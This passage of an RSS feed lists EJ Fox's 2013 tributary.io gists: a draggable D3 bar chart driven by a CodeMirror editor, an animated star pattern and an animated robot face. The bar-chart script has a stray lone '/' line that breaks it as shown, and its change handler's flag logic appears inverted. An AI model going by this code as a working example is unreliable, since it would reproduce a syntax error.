      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>615</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2313</code:size>
      </code:file>
      <code:file>
        <code:filename>style.css</code:filename>
        <code:language>CSS</code:language>
        <code:size>269</code:size>
      </code:file>
      <description><![CDATA[bar code]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/6559496&quot;&gt;Launch: bar code&lt;/a&gt; ] 6559496 by ejfox&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/6559462&quot;&gt;Launch: bar code&lt;/a&gt; ] 6559462 by enjalot&lt;br&gt;</code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;description&quot;:&quot;bar code&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;div&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;style.css&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;fullscreen&quot;:false,&quot;play&quot;:false,&quot;loop&quot;:false,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;pingpong&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;thumbnail&quot;:&quot;http://i.imgur.com/bYneqso.png&quot;}</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">
var data = [5, 9, 12, 15, 2, 6];

var xscale = d3.scale.ordinal()
//.domain(d3.range(data.length))
.domain([0, 1, 2, 3, 4, 5])
.rangeBands([0, 400]);

var min = d3.min(data);
var max = d3.max(data);
var yscale = d3.scale.linear()
//.domain([min, max])
.domain([0, 15])
.range([400, 0]);

var x = 50;
var y = 50;

var display = d3.select(&quot;#display&quot;)
var svg = display.append(&quot;svg&quot;).classed(&quot;tributary_svg&quot;, true);


var bg = svg.append(&quot;rect&quot;).classed(&quot;bg&quot;, true)
.attr({
  x: x,
  y: y,
  width: 400,
  height: 400,
  fill: &quot;#fefefe&quot;,
  class: &quot;chartbar&quot;
})
/*
var circle = svg.append(&quot;circle&quot;)
.attr({
  cx: x,
  cy: y,
  r: 5
})
*/


var drag = d3.behavior.drag()
.on(&quot;drag&quot;, function(d,i) {
  var my = d3.mouse(bg.node())[1];
  d = Math.floor(yscale.invert(my - 50))
  data[i] = d;
  d3.select(this)
  .datum(d)
  .transition().ease(&quot;linear&quot;).duration(90)
  .attr({
    y: function(d,i) { return y + yscale(d) },
    height: function(d,i) { return 400 - yscale(d) }
  })
})

svg.selectAll(&quot;rect.bar&quot;)
.data(data)
.enter()
.append(&quot;rect&quot;)
.classed(&quot;bar&quot;, true)
.attr({
  x: function(d,i) { return x + xscale(i) },
  width: 30,
  y: function(d,i) { return y + yscale(d) },
  height: function(d,i) { return 400 - yscale(d) }
})
.call(drag);




var options = {
  mode: &apos;javascript&apos;,
  lineNumbers: true,
  viewportMargin: Infinity,
  theme: &apos;vibrant-ink&apos;
}

var editor = display.append(&quot;div&quot;).classed(&quot;editor&quot;, true)
.classed(&quot;test-editor&quot;, true);

var cm = CodeMirror(editor.node(), options);
Inlet(cm);

updateValue();
var setting;
function updateValue() {
  var value = &quot;&quot;;
  value += &quot;data = [&quot; + data + &quot;];\n&quot;
  value += &quot;xscale = d3.scale.ordinal()\n&quot;
  value += &quot;.domain([&quot; + d3.range(data.length) + &quot;])\n&quot;
  value += &quot;.rangeBands([0, 400]);\n&quot;

  setting = true;
  cm.setValue(value)
}
cm.on(&quot;change&quot;, function() {
  if(!setting) {
    setting = false;
    return
  }
  eval(cm.getValue());
  
  svg.selectAll(&quot;rect.bar&quot;)
  .data(data)
  .attr({
    x: function(d,i) { return x + xscale(i) },
    y: function(d,i) { return y + yscale(d) },
    height: function(d,i) { return 400 - yscale(d) }
  })
  
})

/
bg.on(&quot;mousemove&quot;, function() {
  var x = d3.mouse(this)[0];
  var y = d3.mouse(this)[1];
  /*
  circle
  .transition()
  .duration(35)
  .attr({
    cx: x,
    cy: y
  })
  */
  updateValue()
})

</code></pre>
<h3>style.css</h3><pre><code class="language-css">.test-editor {
  width: 400px;
  height: 400px;
}

.test-editor .CodeMirror {
  width: 100%;
  height: 100%;
  overflow-x: scroll;
}
.tributary_svg {
  width: 450px;
  height: 450px;
}
#display {
  overflow:scroll;
}

.bar:hover {  
 fill: #999;
  cursor: row-resize;
}</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[anim_stars]]></title>
      <link>https://gist.github.com/6480868</link>
      <guid isPermaLink="true">https://gist.github.com/6480868</guid>
      <pubDate>Sun, 08 Sep 2013 00:46:07 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-12-22T13:39:11.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>185</code:size>
      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>546</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1549</code:size>
      </code:file>
      <description><![CDATA[anim_stars]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/6480868&quot;&gt;Launch: anim_stars&lt;/a&gt; ] 6480868 by ejfox&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/6480201&quot;&gt;Launch: anim_stars&lt;/a&gt; ] 6480201 by georules&lt;br&gt;</code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;description&quot;:&quot;anim_stars&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;svg&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;fullscreen&quot;:false,&quot;play&quot;:true,&quot;loop&quot;:true,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;pingpong&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;thumbnail&quot;:&quot;http://i.imgur.com/23o8oaQ.gif&quot;}</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">tributary.loop_type=&quot;pingpong&quot;;
var svg = d3.select(&apos;svg&apos;);

var drawLine =  function(x1,y1,x2,y2,c) {
  svg.append(&quot;svg:line&quot;)
    .attr(&apos;x1&apos;,x1)
    .attr(&apos;x2&apos;,x2)
    .attr(&apos;y1&apos;,y1)
    .attr(&apos;y2&apos;,y2)
    .style(&apos;stroke&apos;,c).style(&apos;stroke-width&apos;,17)
}

var drawPoint = function(x,y,c)	{
  svg.append(&quot;svg:circle&quot;)
    .attr(&apos;cx&apos;,x)
    .attr(&apos;cy&apos;,y)
  	.attr(&apos;r&apos;,10)
    .style(&apos;fill&apos;,c).style(&apos;stroke-width&apos;,1)
}

var makeStar = function(x1,y1,n,color) {
  s = 136
  sinner = s/2
  centerX = x1;
  centerY = y1;
  degreeNext = 2*(Math.PI) / n
  x1 = centerX
  x2 = x1 + s
  y2 = y1 + s
  drawPoint(centerX,centerY,color)
  points = []//[{x:centerX,y:centerY}]
  degree = 0
  // determine the points
  for (i = 0; i &lt; n; i++) {	
    xn = centerX + s * Math.cos(degree)
    yn = centerY + s * Math.sin(degree)
    drawPoint(xn,yn,color)
    degree = degree + degreeNext;
    points.push({x:xn,y:yn})
  }
  // draw the lines, connecting every other point
  for (i = 0; i &lt; points.length; i++)	{
    var index = i;
    var index2 = i;
    if (i &gt;= points.length -2)	{
      	index = i;
     	index2 = i-n; 
    }

    drawLine(points[index].x,points[index].y,points[index2+2].x,points[index2+2].y,color)

  }
}

var cmap = function()	{
 return tributary.anim(&quot;#3302F8&quot;, &quot;#F51414&quot;, {interpolate: d3.interpolateHsl}) 
}

makeStar(193,187,Math.round(tributary.anim(3,10)),cmap);
makeStar(493,181,Math.round(tributary.anim(10,20)),cmap);
makeStar(186,530,Math.round(tributary.anim(20,140)),cmap);
makeStar(510,526,Math.round(tributary.anim(3,140)),cmap);</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Animated robot face]]></title>
      <link>https://gist.github.com/6473262</link>
      <guid isPermaLink="true">https://gist.github.com/6473262</guid>
      <pubDate>Sat, 07 Sep 2013 06:18:42 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-12-22T12:38:50.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>229</code:size>
      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>606</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1876</code:size>
      </code:file>
      <description><![CDATA[Animated robot face]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/6473262&quot;&gt;Launch: Animated robot face&lt;/a&gt; ] 6473262 by ejfox&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/4515237&quot;&gt;Launch Inlet&lt;/a&gt; ]&lt;br/&gt;&lt;a href=&quot;https://gist.github.com/3200444&quot;&gt;Gist #3200444&lt;/a&gt; </code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;description&quot;:&quot;Animated robot face&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;svg&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;tab&quot;:&quot;edit&quot;,&quot;display_percent&quot;:0.7,&quot;play&quot;:true,&quot;loop&quot;:true,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;period&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;hidepanel&quot;:false,&quot;fullscreen&quot;:false,&quot;thumbnail&quot;:&quot;http://i.imgur.com/D3vZvls.png&quot;}</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">var svg = d3.select(&quot;svg&quot;);

tributary.duration = 300
tributary.loop_type = &quot;pingpong&quot;;


// Head
svg.append(&quot;rect&quot;)
  .attr(&quot;width&quot;, 600)
  .attr(&quot;height&quot;, 600)
  .attr(&quot;x&quot;, 100)
  .attr(&quot;y&quot;, 100)
  .attr(&quot;rx&quot;, 23)
  .style(&quot;fill&quot;, &quot;#3D3D3D&quot;)
  .style(&quot;fill-opacity&quot;, 0.22)
  .style(&quot;stroke&quot;, &quot;#535353&quot;)
  .style(&quot;stroke-width&quot;, 20)

// Mouth
svg.append(&quot;rect&quot;)
  .attr(&quot;width&quot;, 330)


  .attr(&quot;height&quot;, tributary.anim(50, 100)) // Change this to make him talk


  .attr(&quot;x&quot;, 224)
  .attr(&quot;y&quot;, 541)
  .attr(&quot;rx&quot;, 37)
  .style(&quot;fill&quot;, &quot;#242424&quot;)
  .style(&quot;fill-opacity&quot;, 0.7656)
  .style(&quot;stroke-width&quot;, 0)
  

// Nose
svg.append(&quot;rect&quot;)
  .attr(&quot;width&quot;, 200)
  .attr(&quot;height&quot;, 103)
  .attr(&quot;x&quot;, 282)
  .attr(&quot;y&quot;, 375)
  .attr(&quot;rx&quot;, 23)
  .style(&quot;fill&quot;, &quot;#F10E0E&quot;)
  .style(&quot;fill-opacity&quot;, 0.22)
  .style(&quot;stroke&quot;, &quot;#535353&quot;)
  .style(&quot;stroke-width&quot;, 10)
  

// Eyes
svg.append(&quot;rect&quot;)
  .attr(&quot;width&quot;, 100)
  .attr(&quot;height&quot;, 103)
  .attr(&quot;x&quot;, tributary.anim(210, 215))
  .attr(&quot;y&quot;, 193)
  .attr(&quot;rx&quot;, 23)
  .style(&quot;fill&quot;, &quot;#FFFFFF&quot;)
  .style(&quot;fill-opacity&quot;, 0.7656)
  .style(&quot;stroke&quot;, &quot;#535353&quot;)
  .style(&quot;stroke-width&quot;, 5)

svg.append(&quot;rect&quot;)
  .attr(&quot;width&quot;, 100)
  .attr(&quot;height&quot;, 103)
  .attr(&quot;x&quot;, 488)
  .attr(&quot;y&quot;, tributary.anim(190, 193))
  .attr(&quot;rx&quot;, 23)
  .style(&quot;fill&quot;, &quot;#FFFFFF&quot;)
  .style(&quot;fill-opacity&quot;, 0.7656)
  .style(&quot;stroke&quot;, &quot;#535353&quot;)
  .style(&quot;stroke-width&quot;, 5)


// Pupils

svg.append(&quot;rect&quot;)
  .attr(&quot;width&quot;, 66)
  .attr(&quot;height&quot;, tributary.anim(55, 50))
  .attr(&quot;x&quot;, tributary.anim(490, 520))
  .attr(&quot;y&quot;, tributary.anim(230, 240))
  .attr(&quot;rx&quot;, 37)
  .style(&quot;fill&quot;, &quot;#242424&quot;)
  .style(&quot;fill-opacity&quot;, 0.7656)
  .style(&quot;stroke-width&quot;, 0)

svg.append(&quot;rect&quot;)
  .attr(&quot;width&quot;, 66)
  .attr(&quot;height&quot;, 53)
  .attr(&quot;x&quot;, 224)
  .attr(&quot;y&quot;, 231)
  .attr(&quot;rx&quot;, 37)
  .style(&quot;fill&quot;, &quot;#242424&quot;)
  .style(&quot;fill-opacity&quot;, 0.7656)
  .style(&quot;stroke-width&quot;, 0)
  



</code></pre>]]></content:encoded>
    </item>
</channel>
</rss>